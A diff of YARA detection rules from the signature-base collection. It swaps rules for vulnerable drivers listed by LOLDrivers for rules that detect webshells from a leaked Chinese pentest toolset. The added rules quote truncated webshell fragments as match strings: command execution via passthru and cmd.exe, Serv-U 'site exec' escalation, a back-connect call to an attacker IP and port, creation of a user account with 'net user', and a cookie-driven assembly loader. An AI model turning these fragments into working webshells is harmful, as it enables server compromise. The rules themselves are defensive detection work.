-		logic_hash = "d0008f29063c14f41a9f433521ef2851b233760d90dc171f9a80247377431035"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L742-L758"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c2f4b150f53c78777928921b3a985ec678bfae32"
+		logic_hash = "aadf47ac6231b41e720efdd85c481ebac8fccb572e57b86b27a95dd367c0d81b"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e }
+		$s7 = "$sendbuf = \"site exec \".$_POST[\"SUCommand\"].\"\\r\\n\";" fullword ascii
+		$s8 = "elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_c" ascii
+		$s18 = "echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <621KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Hpdevelopmentcompany_Etdsuppsys_Hpetdidriverdll_F744 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Jspshell2 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - etdsupp.sys"
-		author = "Florian Roth"
-		id = "cfc5dca9-7ccc-590e-a79e-07f13cbbb080"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell2.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ff72f94b-1c0a-5615-b35f-35f69c920292"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1595-L1615"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
-		logic_hash = "9fcdfda30bb8fb16c5112c22b34be1c42f9ce1a32d21a7554ba0aff2a7696aa1"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L760-L775"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cc7bc1460416663012fc93d52e2078c0a277ff79"
+		logic_hash = "3a60991fa557655fbd2450739976ac612a0ea2a3df22873382b05438cac12762"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004500540044006900200053007500700070006f007200740020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065007400640073007500700070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048005000200045005400440069002000440072006900760065007200200044004c004c }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065007400640073007500700070002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200031003900390031002d00320030003200320020004800650077006c006500740074002d005000610063006b00610072006400200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079002c0020004c002e0050002e }
+		$s10 = "if (cmd == null) cmd = \"cmd.exe /c set\";" fullword ascii
+		$s11 = "if (program == null) program = \"cmd.exe /c net start > \"+SHELL_DIR+\"/Log.txt" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <424KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_1F81 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Tuoku_Script_Mysql : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
-		author = "Florian Roth"
-		id = "9610cbd7-8521-54ea-a4db-c6d26048fb4b"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file mysql.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fa0627fb-a40c-5856-ae78-17d33910878f"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1618-L1638"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1f8168036d636aad1680dd0f577ef9532dbb2dad3591d63e752b0ba3ee6fd501"
-		logic_hash = "e5b9e4c1559e91b575933d2dd5574a6c374fe967256f65243122c22efbc666ce"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L777-L791"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8e242c40aabba48687cfb135b51848af4f2d389d"
+		logic_hash = "bde2ea1ccfc88138456a1b255a32a7323f5ef0f677499db6dc6670987cc37585"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100360020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310036 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s1 = "txtpassword.Attributes.Add(\"onkeydown\", \"SubmitKeyClick('btnLogin');\");" fullword ascii
+		$s2 = "connString = string.Format(\"Host = {0}; UserName = {1}; Password = {2}; Databas" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <202KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Phoenixtechnologies_Agentsys_Driveragent_4045 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php9 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Agent64.sys"
-		author = "Florian Roth"
-		id = "41ccdc0b-ec41-51b3-9039-bf5206f9a79f"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file php9.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c8cbee10-78ea-5a6f-9c80-7e51a9c38440"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1641-L1665"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
-		hash = "8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f"
-		hash = "6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa"
-		hash = "b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414"
-		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
-		logic_hash = "1902f186f263eaeaf3de6712a8fe2c01f2225f7ba051f4020de27832e197e256"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L793-L807"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cd3962b1dba9f1b389212e38857568b69ca76725"
+		logic_hash = "bea117862ebc9220a4d9aee091c808274f9907fceb83b528055998ddcc90aa5f"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004400720069007600650072004100670065006e0074002000440069007200650063007400200049002f004f00200066006f0072002000360034002d006200690074002000570069006e0064006f00770073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100670065006e007400360034002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004400720069007600650072004100670065006e0074 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100670065006e007400360034002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0045006e0054006500630068002000540061006900770061006e002c00200031003900390037002d0032003000300039 }
+		$s1 = "Str[17] = \"select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r ab" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <1087KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_D0E2 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_Portrecall_Jsp : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
-		author = "Florian Roth"
-		id = "1ee0136e-73bc-5b88-ae0b-74f3f53fe93f"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cd34cb47-c5e0-5094-a501-6a8a00d94018"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1668-L1688"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d0e25b879d830e4f867b09d6540a664b6f88bad353cd14494c33b31a8091f605"
-		logic_hash = "c265c6c89ea9bf09b9dcf47e1ce60f3531d76521a0ef1bbdc07d401a7b4164ed"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L809-L823"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "65e8e4d13ad257c820cad12eef853c6d0134fce8"
+		logic_hash = "98f279c3e50308f67f88ecf8459943187ea152664fe0206c4a7d3435242df2a6"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 }
+		$s0 = "lcx.jsp?localIP=202.91.246.59&localPort=88&remoteIP=218.232.111.187&remotePort=2" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Novellinc_Novellxtier_904E : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Aspx3 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NICM.SYS"
-		author = "Florian Roth"
-		id = "e9506ae9-b5ea-5ed7-a126-1b6070df89d0"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file aspx3.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "4f835136-744a-5324-a1f4-02d1cfa2cab6"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1691-L1711"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "904e0f7d485a98e8497d5ec6dd6e6e1cf0b8d8e067fb64a9e09790af3c8c9d5a"
-		hash = "cf3180f5308af002ac5d6fd5b75d1340878c375f0aebc3157e3bcad6322b7190"
-		logic_hash = "731f87935b48d5fb208b94671a94bed5dfea3f7f6f433fef32cb72c73ce4f8f9"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L825-L840"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dd61481771f67d9593214e605e63b62d5400c72f"
+		logic_hash = "11bf511ee70ff4bde0a9320cb80dd9efa0f437d432c78a859153cfcc8e80db01"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
+		$s0 = "Process p1 = Process.Start(\"\\\"\" + txtRarPath.Value + \"\\\"\", \" a -y -k -m" ascii
+		$s12 = "if (_Debug) System.Console.WriteLine(\"\\ninserting filename into CDS:" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_F060 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell_ASPX_Shell_Shell : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
-		author = "Florian Roth"
-		id = "b6ebdc92-1ca5-5f13-beef-d6adf037e732"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - file shell.aspx"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8fbcae22-07b7-5afe-9f15-06e2f426b5ca"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1714-L1734"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008"
-		logic_hash = "c73f19c87d63e9986e5f44a368f4b8305b7bff17ebdeb85f309751f54f76db48"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L842-L857"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1816006827d16ed73cefdd2f11bd4c47c8af43e4"
+		logic_hash = "ac22d89353b4316289bf6c6e13332ac401f4b57f6c29b71861cb48359c1e55f9"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 }
+		$s0 = "<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cook" ascii
+		$s1 = "<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <1KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Rweverything_Rwdrvsys_Rweverythingreadwritedriver_2A65 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell__Php1_Php7_Php9 : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrIbDrv.sys"
-		author = "Florian Roth"
-		id = "f98969ca-e570-5f95-93d8-5b73fc3221fd"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - from files php1.txt, php7.txt, php9.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cfc2f624-976f-5ff6-bd07-10948b9290bc"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1737-L1762"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a"
-		hash = "3384f4a892f7aa72c43280ff682d85c8e3936f37a68d978d307a9461149192de"
-		hash = "2470fd1b733314c9b0afa19fd39c5d19aa1b36db598b5ebbe93445caa545da5f"
-		hash = "47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc"
-		hash = "0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb"
-		hash = "2bf29a2df52110ed463d51376562afceac0e80fbb1033284cf50edd86c406b14"
-		logic_hash = "818a6a8b09db442f8abf2c466339d01665220768dfebc6faf6c74d3f9855542b"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L859-L878"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ea5b362f8d8f2e99725d4dd4d2ada5c3939a45a3dde0084571600452ab4673c"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "c2f4b150f53c78777928921b3a985ec678bfae32"
+		hash1 = "05a3f93dbb6c3705fd5151b6ffb64b53bc555575"
+		hash2 = "cd3962b1dba9f1b389212e38857568b69ca76725"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002000520057002d00450076006500720079007400680069006e0067 }
+		$s1 = "<a href=\"?s=h&o=wscript\">[WScript.shell]</a> " fullword ascii
+		$s2 = "document.getElementById('cmd').value = Str[i];" fullword ascii
+		$s3 = "Str[7] = \"copy c:\\\\\\\\1.php d:\\\\\\\\2.php\";" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5027 : FILE
+rule SIGNATURE_BASE_CN_Honker_Webshell__Serv_U_By_Goldsun_Asp3_Serv_U_Asp : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
-		author = "Florian Roth"
-		id = "e46d3ca0-a605-503d-86ac-67ac7ac8c7cc"
-		date = "2023-06-14"
+		description = "Webshell from CN Honker Pentest Toolset - from files Serv-U_by_Goldsun.asp, asp3.txt, Serv-U asp.txt"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e91e05e8-0f6d-57a7-a649-a834733f17c8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L1765-L1785"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5027fce41ed60906a0e76b97c95c2a5a83d57a2d1cd42de232a21f26c0d58e48"
-		logic_hash = "f2f0788448e15b372c67c310a411c9533fad7e03b24c24a1a1da7eeb595b6e75"
-		score = 40
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_webshells.yar#L880-L899"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b733e80f234a85a4f65eedd94f535860b4da464adb80a91afc547a8d96b5dc7a"
+		score = 70
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+		hash1 = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+		hash2 = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000340037 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "c.send loginuser & loginpass & mt & deldomain & quit" fullword ascii
+		$s2 = "loginpass = \"Pass \" & pass & vbCrLf" fullword ascii
+		$s3 = "b.send \"User go\" & vbCrLf & \"pass od\" & vbCrLf & \"site exec \" & cmd & vbCr" ascii
 
 	condition:
